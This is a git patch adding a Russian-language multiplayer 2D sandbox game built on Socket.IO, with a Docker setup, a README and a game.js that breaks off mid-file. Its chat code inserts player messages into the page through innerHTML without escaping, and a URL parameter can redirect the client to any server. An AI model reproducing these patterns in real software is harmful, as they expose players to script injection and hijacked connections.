From b37727ae66b1b552cb95e650b29effac3a9702b6 Mon Sep 17 00:00:00 2001 From: root Date: Sat, 21 Feb 2026 19:28:29 +0000 Subject: [PATCH] Initial commit --- Dockerfile | 11 + Minegrechka.html | 2689 ++++++++++ Minegrechka_Telegram.html | 2623 +++++++++ README.md | 215 + backup/20260103_082922/Dockerfile | 11 + backup/20260103_082922/Minegrechka.html | 2688 ++++++++++ .../20260103_082922/Minegrechka_Telegram.html | 2623 +++++++++ .../backup/20260103_082922/Dockerfile | 11 + .../backup/20260103_082922/Minegrechka.html | 2688 ++++++++++ .../20260103_082922/Minegrechka_Telegram.html | 2623 +++++++++ .../backup/20260103_082922/docker-compose.yml | 27 + .../backup/20260103_082922/game.js | 2614 +++++++++ .../backup/20260103_082922/index.html | 79 + .../backup/20260103_082922/style.css | 72 + backup/20260103_082922/docker-compose.yml | 27 + backup/20260103_082922/game.js | 2614 +++++++++ backup/20260103_082922/index.html | 79 + backup/20260103_082922/style.css | 72 + docker-compose.yml | 27 + game.js | 2734 ++++++++++ imgs/grechka_1.png | Bin 0 -> 52576 bytes imgs/grechka_2.png | Bin 0 -> 56156 bytes index.html | 82 + logs/server.log | 4713 +++++++++++++++++ style.css | 92 + 25 files changed, 29414 insertions(+) create mode 100644 Dockerfile create mode 100644 Minegrechka.html create mode 100644 Minegrechka_Telegram.html create mode 100644 README.md create mode 100644 backup/20260103_082922/Dockerfile create mode 100644 backup/20260103_082922/Minegrechka.html create mode 100644 backup/20260103_082922/Minegrechka_Telegram.html create mode 100644 backup/20260103_082922/backup/20260103_082922/Dockerfile create mode 100644 backup/20260103_082922/backup/20260103_082922/Minegrechka.html create mode 100644 backup/20260103_082922/backup/20260103_082922/Minegrechka_Telegram.html create mode 100644 backup/20260103_082922/backup/20260103_082922/docker-compose.yml create mode 100644 backup/20260103_082922/backup/20260103_082922/game.js create mode 100644 backup/20260103_082922/backup/20260103_082922/index.html create mode 100644 backup/20260103_082922/backup/20260103_082922/style.css create mode 100644 backup/20260103_082922/docker-compose.yml create mode 100644 backup/20260103_082922/game.js create mode 100644 backup/20260103_082922/index.html create mode 100644 backup/20260103_082922/style.css create mode 100644 docker-compose.yml create mode 100644 game.js create mode 100644 imgs/grechka_1.png create mode 100644 imgs/grechka_2.png create mode 100644 index.html create mode 100644 logs/server.log create mode 100644 style.css diff --git a/Dockerfile b/Dockerfile new file mode 100644 index 0000000..fd37297 --- /dev/null +++ b/Dockerfile @@ -0,0 +1,11 @@ +FROM nginx:alpine + +# Копируем файлы игры в директорию nginx +COPY index.html /usr/share/nginx/html/index.html +COPY style.css /usr/share/nginx/html/style.css +COPY game.js /usr/share/nginx/html/game.js + +# Используем конфигурацию nginx по умолчанию +EXPOSE 80 + +CMD ["nginx", "-g", "daemon off;"] diff --git a/Minegrechka.html b/Minegrechka.html new file mode 100644 index 0000000..ed2827e --- /dev/null +++ b/Minegrechka.html @@ -0,0 +1,2689 @@ + + + + + +GrechkaCraft: Multiplayer + + + + + + +
+ + +
+
+
❤️ 100   🍗 100
+
🫁 100
+
📍 X:0 Y:0
+
🕒 День
+
🌐 default
+ +
+ +
🏃
+
💾
+
🔄
+
🔨
+ +
+
+
Крафт
+ +
+
+
+ +
+
+
Инвентарь
+ +
+
+
+ +
+
ВЫ ПОГИБЛИ
+ +
+ +
+
📦
+
+ + + +
💬
+
+ +
+
+ +
+
+ + + + diff --git a/Minegrechka_Telegram.html b/Minegrechka_Telegram.html new file mode 100644 index 0000000..aac7653 --- /dev/null +++ b/Minegrechka_Telegram.html @@ -0,0 +1,2623 @@ + + + + + +GrechkaCraft: Multiplayer + + + + + + + + +
+ + +
+
+
❤️ 100   🍗 100
+
🫁 100
+
📍 X:0 Y:0
+
🕒 День
+
🌐 default
+ +
+ +
🏃
+
💾
+
🔨
+ +
+
+
Крафт
+ +
+
+
+ +
+
+
Инвентарь
+ +
+
+
+ +
+
ВЫ ПОГИБЛИ
+ +
+ +
+
🎒
+
+ + + +
💬
+
+ +
+
+ +
+
+ + + + diff --git a/README.md b/README.md new file mode 100644 index 0000000..6f14b7a --- /dev/null +++ b/README.md @@ -0,0 +1,215 @@ +# GrechkaCraft: Multiplayer + +2D песочница в стиле Minecraft с мультиплеером. Исследуйте, стройте, добывайте ресурсы и сражайтесь с мобами! + +## 🎮 Управление + +### Клавиатура (ПК) +- **A / ←** - движение влево +- **D / →** - движение вправо +- **W / ↑ / Пробел** - прыжок +- **S / ↓** - спуск вниз (на лестницах) +- **ЛКМ** - взаимодействие (добыча/строительство/атака) + +### Сенсорное управление (мобильные устройства) +На мобильных устройствах (экраны шириной до 768px) отображается панель управления внизу экрана: +- **⬅️** - движение влево +- **⬆️** - прыжок +- **⬇️** - спуск вниз +- **➡️** - движение вправо + +## 🎯 Режимы игры + +Переключайте режимы кнопкой **🏃** в правом верхнем углу: + +1. **🏃 Движение** - стандартный режим для передвижения +2. **⛏️ Добыча** - ломайте блоки и атакуйте мобов +3. **🧱 Строительство** - ставьте блоки + +## 📦 Инвентарь и крафт + +### Инвентарь +- Откройте инвентарь кнопкой **📦** в правом верхнем углу +- Выберите предмет для использования +- Инвентарь отображается поверх кнопок управления на мобильных устройствах + +### Крафт +- Откройте панель крафта кнопкой **🔨** в правом верхнем углу +- Выбирайте рецепты из списка +- Кнопка "Создать" активна только если достаточно ресурсов + +## 🧱 Блоки + +### Базовые блоки +- **Трава** - основной блок поверхности +- **Грязь** - подповерхностный слой +- **Камень** - прочный блок для строительства +- **Песок** - падает при отсутствии опоры +- **Гравий** - падает при отсутствии опоры +- **Глина** - добывается в песчаных берегах + +### Деревянные блоки +- **Дерево** - добывается из деревьев +- **Доски** - создаются из дерева +- **Лестница** - позволяет подниматься и спускаться + +### Руды +- **Уголь** - топливо для костров +- **Медь** - редкая руда +- **Железо** - средняя редкость +- **Золото** - редкая руда +- **Алмаз** - очень редкая руда + +### Декоративные и специальные блоки +- **Листва** - декоративный блок +- **Стекло** - прозрачный блок +- **Вода** - жидкость, можно плавать +- **Кирпич** - прочный строительный блок +- **Цветок** - декоративный элемент +- **Факел** - освещение ночью +- **Костёр** - освещение + жарка мяса +- **TNT** - взрывчатка +- **Кровать** - позволяет спать и пропускать ночь +- **Лодка** - для передвижения по воде + +## 🍖 Предметы и инструменты + +### Еда +- **Сырое мясо** - добывается из животных, восстанавливает 15 голода и 15 HP +- **Жареное мясо** - жарится на костре, восстанавливает 45 голода и 15 HP + +### Инструменты +- **Деревянная кирка** - 60 прочности, mining power 1 +- **Каменная кирка** - 130 прочности, mining power 2 +- **Железная кирка** - 250 прочности, mining power 3 +- **Деревянный меч** - 40 прочности, 5 урона +- **Каменный меч** - 100 прочности, 8 урона +- **Железный меч** - 200 прочности, 12 урона + +## 👾 Мобы + +### Дружественные (днём) +- **Свинья** - даёт 2 сырого мяса +- **Курица** - даёт 1 сырое мясо + +### Враждебные (ночью) +- **Зомби** - атакует игрока, наносит 15 урона +- **Крипер** - взрывается рядом с игроком +- **Скелет** - стреляет стрелами издалека + +## 🌍 Мир + +### Генерация +- Детерминированная генерация на основе seed +- Автоматическая генерация при движении +- Разнообразные биомы: горы, равнины, пляжи + +### День и ночь +- Автоматический цикл дня и ночи +- Ночью появляются враждебные мобы +- Нажмите на часы в UI для переключения на ночь +- Спите на кровати для пропуска ночи + +### Физика +- Гравитация и коллизии +- Плавание в воде +- Лестницы для вертикального движения +- Урон от падения + +## 💾 Сохранение + +### Автосохранение +- Игра сохраняется автоматически при скрытии страницы +- Игра сохраняется перед закрытием страницы +- Игра сохраняется при отходе ко сну + +### Ручное сохранение +- Кнопка **💾** в правом верхнем углу (только в одиночном режиме) +- Сохраняется в localStorage браузера + +### Сброс игры +- Кнопка **🔄** удаляет сохранение и начинает новую игру +- Генерируется новый worldId + +## 🌐 Мультиплеер + +### Подключение +- Автоматическое подключение к серверу при запуске +- World ID отображается в левом верхнем углу +- Кликните на World ID для копирования ссылки + +### Совместная игра +- Видите других игроков в реальном времени +- Общие изменения блоков +- Общий день/ночь +- Чат (временно скрыт) + +### Синхронизация +- Позиции игроков синхронизируются 20 раз в секунду +- Изменения блоков мгновенно передаются всем игрокам + +## 🛠️ Развертывание + +### Локальный запуск +```bash +# Клонирование репозитория +git clone +cd grechka-game + +# Запуск через Docker Compose +docker-compose up -d + +# Игра доступна на порту 80 +``` + +### Docker +```bash +# Сборка образа +docker build -t grechka-game . + +# Запуск контейнера +docker run -p 80:80 grechka-game +``` + +### Структура файлов +- `index.html` - основной HTML файл +- `game.js` - игровой движок +- `style.css` - стили интерфейса +- `Dockerfile` - конфигурация Docker образа +- `docker-compose.yml` - конфигурация Docker Compose + +## 📝 Недавние изменения + +### Версия 1.3 (2026-01-03) +- ✅ Добавлена кнопка "вниз" для мобильных устройств +- ✅ Исправлен z-index для инвентаря и крафта (теперь поверх кнопок управления) +- ✅ Скрыт чат из интерфейса +- ✅ Добавлены проверки на null для предотвращения крашей JavaScript + +### Предыдущие версии +- Мультиплеер через Socket.IO +- Система сохранения в localStorage +- Автоматический цикл дня и ночи +- Система крафта и инструментов +- Разнообразные мобы и блоки + +## 🐛 Известные проблемы + +- Чат временно скрыт +- На мобильных устройствах кнопки управления могут перекрывать hotbar + +## 📄 Лицензия + +Проект распространяется как есть. + +## 🤝 Участие + +Для внесения изменений: +1. Форкните репозиторий +2. Создайте ветку для новой функции +3. Внесите изменения +4. Отправьте pull request + +## 📞 Контакты + +По вопросам и предложениям обращайтесь к разработчику. diff --git a/backup/20260103_082922/Dockerfile b/backup/20260103_082922/Dockerfile new file mode 100644 index 0000000..fd37297 --- /dev/null +++ b/backup/20260103_082922/Dockerfile @@ -0,0 +1,11 @@ +FROM nginx:alpine + +# Копируем файлы игры в директорию nginx +COPY index.html /usr/share/nginx/html/index.html +COPY style.css /usr/share/nginx/html/style.css +COPY game.js /usr/share/nginx/html/game.js + +# Используем конфигурацию nginx по умолчанию +EXPOSE 80 + +CMD ["nginx", "-g", "daemon off;"] diff --git a/backup/20260103_082922/Minegrechka.html b/backup/20260103_082922/Minegrechka.html new file mode 100644 index 0000000..3638896 --- /dev/null +++ b/backup/20260103_082922/Minegrechka.html @@ -0,0 +1,2688 @@ + + + + + +GrechkaCraft: Multiplayer + + + + + + +
+ + +
+
+
❤️ 100   🍗 100
+
🫁 100
+
📍 X:0 Y:0
+
🕒 День
+
🌐 default
+ +
+ +
🏃
+
💾
+
🔄
+
🔨
+ +
+
+
Крафт
+ +
+
+
+ +
+
+
Инвентарь
+ +
+
+
+ +
+
ВЫ ПОГИБЛИ
+ +
+ +
+
🎒
+
+ + + +
💬
+
+ +
+
+ +
+
+ + + + diff --git a/backup/20260103_082922/Minegrechka_Telegram.html b/backup/20260103_082922/Minegrechka_Telegram.html new file mode 100644 index 0000000..aac7653 --- /dev/null +++ b/backup/20260103_082922/Minegrechka_Telegram.html @@ -0,0 +1,2623 @@ + + + + + +GrechkaCraft: Multiplayer + + + + + + + + +
+ + +
+
+
❤️ 100   🍗 100
+
🫁 100
+
📍 X:0 Y:0
+
🕒 День
+
🌐 default
+ +
+ +
🏃
+
💾
+
🔨
+ +
+
+
Крафт
+ +
+
+
+ +
+
+
Инвентарь
+ +
+
+
+ +
+
ВЫ ПОГИБЛИ
+ +
+ +
+
🎒
+
+ + + +
💬
+
+ +
+
+ +
+
+ + + + diff --git a/backup/20260103_082922/backup/20260103_082922/Dockerfile b/backup/20260103_082922/backup/20260103_082922/Dockerfile new file mode 100644 index 0000000..fd37297 --- /dev/null +++ b/backup/20260103_082922/backup/20260103_082922/Dockerfile @@ -0,0 +1,11 @@ +FROM nginx:alpine + +# Копируем файлы игры в директорию nginx +COPY index.html /usr/share/nginx/html/index.html +COPY style.css /usr/share/nginx/html/style.css +COPY game.js /usr/share/nginx/html/game.js + +# Используем конфигурацию nginx по умолчанию +EXPOSE 80 + +CMD ["nginx", "-g", "daemon off;"] diff --git a/backup/20260103_082922/backup/20260103_082922/Minegrechka.html b/backup/20260103_082922/backup/20260103_082922/Minegrechka.html new file mode 100644 index 0000000..3638896 --- /dev/null +++ b/backup/20260103_082922/backup/20260103_082922/Minegrechka.html @@ -0,0 +1,2688 @@ + + + + + +GrechkaCraft: Multiplayer + + + + + + +
+ + +
+
+
❤️ 100   🍗 100
+
🫁 100
+
📍 X:0 Y:0
+
🕒 День
+
🌐 default
+ +
+ +
🏃
+
💾
+
🔄
+
🔨
+ +
+
+
Крафт
+ +
+
+
+ +
+
+
Инвентарь
+ +
+
+
+ +
+
ВЫ ПОГИБЛИ
+ +
+ +
+
🎒
+
+ + + +
💬
+
+ +
+
+ +
+
+ + + + diff --git a/backup/20260103_082922/backup/20260103_082922/Minegrechka_Telegram.html b/backup/20260103_082922/backup/20260103_082922/Minegrechka_Telegram.html new file mode 100644 index 0000000..aac7653 --- /dev/null +++ b/backup/20260103_082922/backup/20260103_082922/Minegrechka_Telegram.html @@ -0,0 +1,2623 @@ + + + + + +GrechkaCraft: Multiplayer + + + + + + + + +
+ + +
+
+
❤️ 100   🍗 100
+
🫁 100
+
📍 X:0 Y:0
+
🕒 День
+
🌐 default
+ +
+ +
🏃
+
💾
+
🔨
+ +
+
+
Крафт
+ +
+
+
+ +
+
+
Инвентарь
+ +
+
+
+ +
+
ВЫ ПОГИБЛИ
+ +
+ +
+
🎒
+
+ + + +
💬
+
+ +
+
+ +
+
+ + + + diff --git a/backup/20260103_082922/backup/20260103_082922/docker-compose.yml b/backup/20260103_082922/backup/20260103_082922/docker-compose.yml new file mode 100644 index 0000000..3de5ddb --- /dev/null +++ b/backup/20260103_082922/backup/20260103_082922/docker-compose.yml @@ -0,0 +1,27 @@ +name: grechka-game +services: + grechka-game: + build: + context: . + dockerfile: Dockerfile + container_name: grechka-game + restart: unless-stopped + networks: + - shared_network + labels: + # Включаем Traefik для этого сервиса + - "traefik.enable=true" + - "traefik.docker.network=shared_network" + + # HTTPS роутер + - "traefik.http.routers.grechka-game.entrypoints=websecure" + - "traefik.http.routers.grechka-game.rule=Host(`grechka.mkn8n.ru`)" + - "traefik.http.routers.grechka-game.tls=true" + - "traefik.http.routers.grechka-game.tls.certresolver=mytlschallenge" + + # Сервис + - "traefik.http.services.grechka-game.loadbalancer.server.port=80" + +networks: + shared_network: + external: true diff --git a/backup/20260103_082922/backup/20260103_082922/game.js b/backup/20260103_082922/backup/20260103_082922/game.js new file mode 100644 index 0000000..49d8e40 --- /dev/null +++ b/backup/20260103_082922/backup/20260103_082922/game.js @@ -0,0 +1,2614 @@ +(() => { + // ==================== КОНФИГУРАЦИЯ СЕРВЕРА ==================== + // Возможность переопределить сервер через query string + const urlParams = new URLSearchParams(window.location.search); + const SERVER_URL = urlParams.get('server') || 'https://apigrech.mkn8n.ru'; + const TELEGRAM_BOT_USERNAME = 'Grechkacraft_bot'; // Имя бота для share-ссылки + const TELEGRAM_APP_SHORT_NAME = 'minegrechka'; // Короткое имя Mini App + + // Защита от mixed content + if (location.protocol === 'https:' && SERVER_URL.startsWith('http://')) { + console.warn('⚠️ Mixed content warning: page is HTTPS but server URL is HTTP'); + alert('⚠️ Предупреждение: страница загружена по HTTPS, но сервер использует HTTP. Это может вызвать проблемы.'); + } + + // ==================== WORLD ID И ИГРОКА ==================== + let worldId = null; + let playerName = localStorage.getItem('minegrechka_playerName') || null; + + // Запрашиваем имя игрока, если его нет + if (!playerName) { + playerName = prompt('Введите ваше имя для игры:') || 'Игрок'; + localStorage.setItem('minegrechka_playerName', playerName); + console.log('Player name set:', playerName); + } + + // Берём worldId из URL или генерируем новый + console.log('Current URL:', window.location.href); + const worldParam = urlParams.get('world'); + console.log('world param:', worldParam); + + // Проверяем на null, undefined или пустую строку + worldId = (worldParam && worldParam.trim() !== '') ? worldParam : null; + + console.log('worldId after params:', worldId, 'type:', typeof worldId); + + // Если worldId отсутствует - генерируем новый и записываем в URL + if (!worldId) { + worldId = Math.random().toString(36).substring(2, 10); + console.log('Generated worldId:', worldId); + + try { + const newUrl = new URL(window.location.href); + newUrl.searchParams.set('world', worldId); + const newUrlString = newUrl.toString(); + console.log('New URL to set:', newUrlString); + + // Проверяем, поддерживается ли history API + if (typeof window.history !== 'undefined' && typeof window.history.replaceState === 'function') { + window.history.replaceState(null, '', newUrlString); + console.log('URL after replaceState:', window.location.href); + console.log('URL after replaceState (direct check):', window.location.search); + } else { + console.error('History API not supported!'); + } + } catch (e) { + console.error('Error updating URL:', e); + } + + console.log('Generated new worldId for browser:', worldId); + } + + console.log('Final worldId:', worldId, 'Player name:', playerName); + + console.log(`Server URL: ${SERVER_URL}, World ID: ${worldId}`); + + // Обработчик клика на worldId для копирования ссылки + document.getElementById('worldId').onclick = () => { + const shareUrl = new URL(window.location.href); + shareUrl.searchParams.set('world', worldId); + const shareUrlString = shareUrl.toString(); + + if (navigator.clipboard && navigator.clipboard.writeText) { + navigator.clipboard.writeText(shareUrlString).then(() => { + alert('Ссылка скопирована!'); + }).catch(() => { + alert('Ссылка на мир:\n' + shareUrlString); + }); + } else { + alert('Ссылка на мир:\n' + shareUrlString); + } + }; + + // ==================== SOCKET.IO КЛИЕНТ ==================== + let socket = null; + let isMultiplayer = false; // Флаг для мультиплеерного режима + const otherPlayers = new Map(); // socket_id -> {x, y, color} + let mySocketId = null; + + // Throttle для отправки позиции (10-20 раз в секунду) + let lastMoveSendTime = 0; + const MOVE_SEND_INTERVAL = 0.05; // 50ms = 20 раз в секунду + let lastSentX = 0, lastSentY = 0; + + function initSocket() { + try { + socket = io(SERVER_URL, { + path: '/socket.io/', + transports: ['websocket', 'polling'] + }); + + socket.on('connect', () => { + console.log(`Connected to server: ${SERVER_URL}, socket.id: ${socket.id}, worldId: ${worldId}`); + mySocketId = socket.id; + isMultiplayer = true; + + // Присоединяемся к миру + socket.emit('join_world', { world_id: worldId, player_name: playerName }); + + // Показываем в UI + worldIdEl.textContent = worldId; + multiplayerStatus.style.display = 'block'; + }); + + socket.on('connect_error', (error) => { + console.error('Socket connection error:', error); + isMultiplayer = false; + }); + + socket.on('disconnect', () => { + console.log('Disconnected from server'); + isMultiplayer = false; + otherPlayers.clear(); + multiplayerStatus.style.display = 'none'; + }); + + // Обработка world_state + socket.on('world_state', (data) => { + console.log('Received world_state:', data); + + // Устанавливаем seed и перегенерируем мир если он изменился + if (data.seed !== undefined && data.seed !== worldSeed) { + const oldSeed = worldSeed; + worldSeed = data.seed; + console.log('World seed changed from', oldSeed, 'to', worldSeed); + + // Очищаем и перегенерируем мир с новым seed + generated.clear(); + grid.clear(); + blocks.length = 0; + placedBlocks = []; + removedBlocks = []; + console.log('World regenerated with new seed:', worldSeed); + } + + // Применяем блоки + if (data.blocks && Array.isArray(data.blocks)) { + for (const block of data.blocks) { + if (block.op === 'set') { + setBlock(block.gx, block.gy, block.t, false); + } else if (block.op === 'remove') { + removeBlock(block.gx, block.gy); + } + } + } + + // Устанавливаем время + if (data.time !== undefined) { + worldTime = data.time; + isNightTime = worldTime > 0.5; + } + + // Если есть spawnPoint от сервера - используем его и генерируем эту позицию + if (data.spawnPoint) { + spawnPoint.x = data.spawnPoint.x; + spawnPoint.y = data.spawnPoint.y; + // Генерируем колонну в точке спавна + const spawnGX = Math.floor(spawnPoint.x / TILE); + genColumn(spawnGX); + console.log('Server spawnPoint received and column generated:', spawnPoint); + } else { + // Если spawnPoint не пришёл от сервера - генерируем безопасную позицию + const startGX = 6; + genColumn(startGX); + const surfaceY = surfaceGyAt(startGX); + spawnPoint.x = startGX * TILE; + spawnPoint.y = (surfaceY - 1) * TILE; + console.log('Generated safe spawn point:', spawnPoint, 'surfaceY:', surfaceY); + } + + // Устанавливаем игрока в точку спавна + player.x = spawnPoint.x; + player.y = spawnPoint.y; + player.vx = 0; + player.vy = 0; + player.fallStartY = player.y; + console.log('Player moved to spawn point:', player.x, player.y); + + // Обновляем список игроков + if (data.players && Array.isArray(data.players)) { + otherPlayers.clear(); + for (const p of data.players) { + if (p.socket_id !== mySocketId) { + otherPlayers.set(p.socket_id, { + x: p.x, + y: p.y, + color: getRandomPlayerColor(p.socket_id), + name: p.player_name || 'Игрок' + }); + } + } + // Обновляем счётчик игроков + playerCountEl.textContent = data.players.length; + } + }); + + // Игрок присоединился + socket.on('player_joined', (data) => { + console.log('Player joined:', data.socket_id); + if (data.socket_id !== mySocketId) { + // Генерируем безопасную позицию для нового игрока + const spawnGX = 6; + genColumn(spawnGX); + const surfaceY = surfaceGyAt(spawnGX); + const safeSpawnX = spawnGX * TILE; + const safeSpawnY = (surfaceY - 1) * TILE; + + otherPlayers.set(data.socket_id, { + x: safeSpawnX, + y: safeSpawnY, + color: getRandomPlayerColor(data.socket_id), + name: data.player_name || 'Игрок' + }); + addChatMessage('Система', `Игрок присоединился`); + // Обновляем видимость кнопки сохранения + updateSaveButtonVisibility(); + } + }); + + // Игрок переместился + socket.on('player_moved', (data) => { + if (data.socket_id !== mySocketId && otherPlayers.has(data.socket_id)) { + const p = otherPlayers.get(data.socket_id); + p.x = data.x; + p.y = data.y; + // Обновляем имя, если оно пришло + if (data.player_name) { + p.name = data.player_name; + } + } + }); + + // Игрок покинул + socket.on('player_left', (data) => { + console.log('Player left:', data.socket_id); + otherPlayers.delete(data.socket_id); + addChatMessage('Система', `Игрок покинул игру`); + // Обновляем видимость кнопки сохранения + updateSaveButtonVisibility(); + }); + + // Блок изменён + socket.on('block_changed', (data) => { + if (data.op === 'set') { + setBlock(data.gx, data.gy, data.t, false); + } else if (data.op === 'remove') { + removeBlock(data.gx, data.gy); + } + }); + + // Сообщение в чат + socket.on('chat_message', (data) => { + const senderName = data.socket_id === mySocketId ? 'Вы' : `Игрок ${data.socket_id.substring(0, 6)}`; + addChatMessage(senderName, data.message); + }); + + // Обновление времени + socket.on('time_update', (data) => { + if (data.time !== undefined) { + worldTime = data.time; + isNightTime = worldTime > 0.5; + } + }); + + } catch (e) { + console.error('Error initializing socket:', e); + isMultiplayer = false; + } + } + + // Генерация случайного цвета для игрока на основе socket_id + function getRandomPlayerColor(socketId) { + const colors = ['#e74c3c', '#3498db', '#2ecc71', '#f39c12', '#9b59b6', '#1abc9c', '#e91e63', '#00bcd4']; + let hash = 0; + for (let i = 0; i < socketId.length; i++) { + hash = ((hash << 5) - hash) + socketId.charCodeAt(i); + hash = hash & hash; + } + return colors[Math.abs(hash) % colors.length]; + } + + // Отправка позиции игрока (с throttle) + function sendPlayerPosition() { + if (!isMultiplayer || !socket || !socket.connected) return; + + const now = performance.now() / 1000; + if (now - lastMoveSendTime < MOVE_SEND_INTERVAL) return; + + // Отправляем только если позиция изменилась + const dx = Math.abs(player.x - lastSentX); + const dy = Math.abs(player.y - lastSentY); + if (dx < 1 && dy < 1) return; + + lastMoveSendTime = now; + lastSentX = player.x; + lastSentY = player.y; + + socket.emit('player_move', { x: player.x, y: player.y, player_name: playerName }); + } + + // Отправка изменения блока + function sendBlockChange(gx, gy, t, op) { + if (!isMultiplayer || !socket || !socket.connected) return; + + socket.emit('block_change', { gx, gy, t, op }); + } + + // ==================== ЧАТ ==================== + const chatMessages = []; + const MAX_CHAT_MESSAGES = 20; + + function addChatMessage(sender, message) { + const time = new Date().toLocaleTimeString('ru-RU', { hour: '2-digit', minute: '2-digit' }); + chatMessages.push({ sender, message, time }); + if (chatMessages.length > MAX_CHAT_MESSAGES) { + chatMessages.shift(); + } + renderChatMessages(); + } + + function renderChatMessages() { + const chatMessagesEl = document.getElementById('chatMessages'); + if (!chatMessagesEl) return; + + chatMessagesEl.innerHTML = chatMessages.map(m => + `
${m.time} ${m.sender}: ${m.message}
` + ).join(''); + + // Прокручиваем вниз + chatMessagesEl.scrollTop = chatMessagesEl.scrollHeight; + } + + function sendChatMessage(message) { + if (!message || message.trim() === '') return; + + if (isMultiplayer && socket && socket.connected) { + socket.emit('chat_message', { message: message.trim() }); + } else { + addChatMessage('Вы', message.trim()); + } + } + + // ==================== ПОДЕЛИТЬСЯ МИРОМ ==================== + function shareWorld() { + const shareUrl = new URL(window.location.href); + shareUrl.searchParams.set('world', worldId); + const shareUrlString = shareUrl.toString(); + + // Копируем в буфер обмена + if (navigator.clipboard && navigator.clipboard.writeText) { + navigator.clipboard.writeText(shareUrlString).then(() => { + alert('Ссылка скопирована!'); + }).catch(() => { + alert('Ссылка на мир:\n' + shareUrlString); + }); + } else { + alert('Ссылка на мир:\n' + shareUrlString); + } + } + + // ==================== ИНИЦИАЛИЗАЦИЯ UI ==================== + let chatOpen = false; + + document.getElementById('chatToggle').onclick = () => { + playSound('click'); + chatOpen = !chatOpen; + document.getElementById('chatPanel').style.display = chatOpen ? 'block' : 'none'; + if (chatOpen) { + document.getElementById('chatInput').focus(); + } + }; + + document.getElementById('chatClose').onclick = () => { + playSound('click'); + chatOpen = false; + document.getElementById('chatPanel').style.display = 'none'; + }; + + document.getElementById('chatSend').onclick = () => { + const input = document.getElementById('chatInput'); + sendChatMessage(input.value); + input.value = ''; + }; + + document.getElementById('chatInput').addEventListener('keypress', (e) => { + if (e.key === 'Enter') { + sendChatMessage(e.target.value); + e.target.value = ''; + } + }); + + // ==================== ИНИЦИАЛИЗАЦИЯ СОКЕТА ==================== + // Инициализируем socket + initSocket(); + + // ==================== ЗВУКОВОЙ ДВИЖОК ==================== + const sounds = {}; + function loadSound(id, src) { + const audio = new Audio(); + audio.src = src; + audio.volume = 0.3; + sounds[id] = audio; + } + + // Загрузка звуков + loadSound('splash', 'https://supamg.mkn8n.ru/storage/v1/object/public/sounds//splash.mp3'); + loadSound('sand1', 'https://supamg.mkn8n.ru/storage/v1/object/public/sounds//sand1.mp3'); + loadSound('snow1', 'https://supamg.mkn8n.ru/storage/v1/object/public/sounds//snow1.mp3'); + loadSound('stone1', 'https://supamg.mkn8n.ru/storage/v1/object/public/sounds//stone1.mp3'); + loadSound('wood1', 'https://supamg.mkn8n.ru/storage/v1/object/public/sounds//wood1.mp3'); + loadSound('cloth1', 'https://supamg.mkn8n.ru/storage/v1/object/public/sounds//cloth1.mp3'); + loadSound('fire', 'https://supamg.mkn8n.ru/storage/v1/object/public/sounds//fire.mp3'); + loadSound('hit1', 'https://supamg.mkn8n.ru/storage/v1/object/public/sounds//hit1.mp3'); + loadSound('attack', 'https://supamg.mkn8n.ru/storage/v1/object/public/sounds//attack.mp3'); + loadSound('hurt_chicken', 'https://supamg.mkn8n.ru/storage/v1/object/public/sounds//hurt1_chicken.mp3'); + loadSound('stone_build', 'https://supamg.mkn8n.ru/storage/v1/object/public/sounds//stone1%20(1).mp3'); + loadSound('wood_build', 'https://supamg.mkn8n.ru/storage/v1/object/public/sounds//wood1%20(1).mp3'); + loadSound('click', 'https://supamg.mkn8n.ru/storage/v1/object/public/sounds//click.mp3'); + loadSound('explode1', 'https://supamg.mkn8n.ru/storage/v1/object/public/sounds//explode1.mp3'); + loadSound('glass1', 'https://supamg.mkn8n.ru/storage/v1/object/public/sounds//glass1.mp3'); + loadSound('eat1', 'https://supamg.mkn8n.ru/storage/v1/object/public/sounds//eat1.mp3'); + loadSound('step', 'https://supamg.mkn8n.ru/storage/v1/object/public/sounds//sand2.mp3'); + + function playSound(id) { + if(sounds[id]) { + sounds[id].currentTime = 0; + sounds[id].play().catch(e => console.error('Sound error:', e)); + } + } + + // Играем звук при прыжке + const gameEl = document.getElementById('game'); + const canvas = document.getElementById('c'); + const ctx = canvas.getContext('2d'); + + // offscreen light map (не вставляем в DOM) + const lightC = document.createElement('canvas'); + const lightCtx = lightC.getContext('2d'); + + const dpr = Math.max(1, window.devicePixelRatio || 1); + let W=0, H=0; + + const TILE = 40; + + // Мир + const SEA_GY = 14; // уровень воды (gy) - уменьшил для меньших водоёмов + const BEDROCK_GY = 140; // глубина бедрока (gy), чем больше - тем глубже + const GEN_MARGIN_X = 26; // запас генерации по X (в тайлах) + + const heroImg = new Image(); + heroImg.src = 'https://supamg.mkn8n.ru/storage/v1/object/public/img//grechka.png'; + + // Состояние инвентаря + let showFullInventory = false; + let recentItems = []; // Последние 5 выбранных предметов + + const BLOCKS = { + air: { n:'Воздух', solid:false }, + grass: { n:'Трава', c:'#7cfc00', solid:true }, + dirt: { n:'Грязь', c:'#8b4513', solid:true }, + stone: { n:'Камень', c:'#7f8c8d', solid:true }, + sand: { n:'Песок', c:'#f4d06f', solid:true }, + gravel: { n:'Гравий', c:'#95a5a6', solid:true }, + clay: { n:'Глина', c:'#74b9ff', solid:true }, + wood: { n:'Дерево', c:'#d35400', solid:true }, + planks: { n:'Доски', c:'#e67e22', solid:true }, + ladder: { n:'Лестница',c:'#d35400', solid:false, climbable:true }, + leaves: { n:'Листва', c:'#2ecc71', solid:true }, + glass: { n:'Стекло', c:'rgba(200,240,255,0.25)', solid:true, alpha:0.55 }, + water: { n:'Вода', c:'rgba(52,152,219,0.55)', solid:false, fluid:true }, + coal: { n:'Уголь', c:'#2c3e50', solid:true }, + copper_ore:{ n:'Медь', c:'#e17055', solid:true }, + iron_ore: { n:'Железо', c:'#dcdde1', solid:true }, + gold_ore: { n:'Золото', c:'#f1c40f', solid:true }, + diamond_ore:{n:'Алмаз', c:'#00a8ff', solid:true }, + brick: { n:'Кирпич', c:'#c0392b', solid:true }, + tnt: { n:'TNT', c:'#e74c3c', solid:true, explosive:true }, + campfire: { n:'Костёр', c:'#e67e22', solid:true, lightRadius:190 }, + torch: { n:'Факел', c:'#f9ca24', solid:true, lightRadius:140 }, + bedrock: { n:'Бедрок', c:'#2d3436', solid:true, unbreakable:true }, + flower: { n:'Цветок', c:'#ff4757', solid:false, decor:true }, + bed: { n:'Кровать', c:'#e91e63', solid:true, bed:true }, + boat: { n:'Лодка', c:'#8B4513', solid:false } + }; + + const ITEMS = { + meat: { n:'Сырое мясо', icon:'🥩', food:15 }, + cooked: { 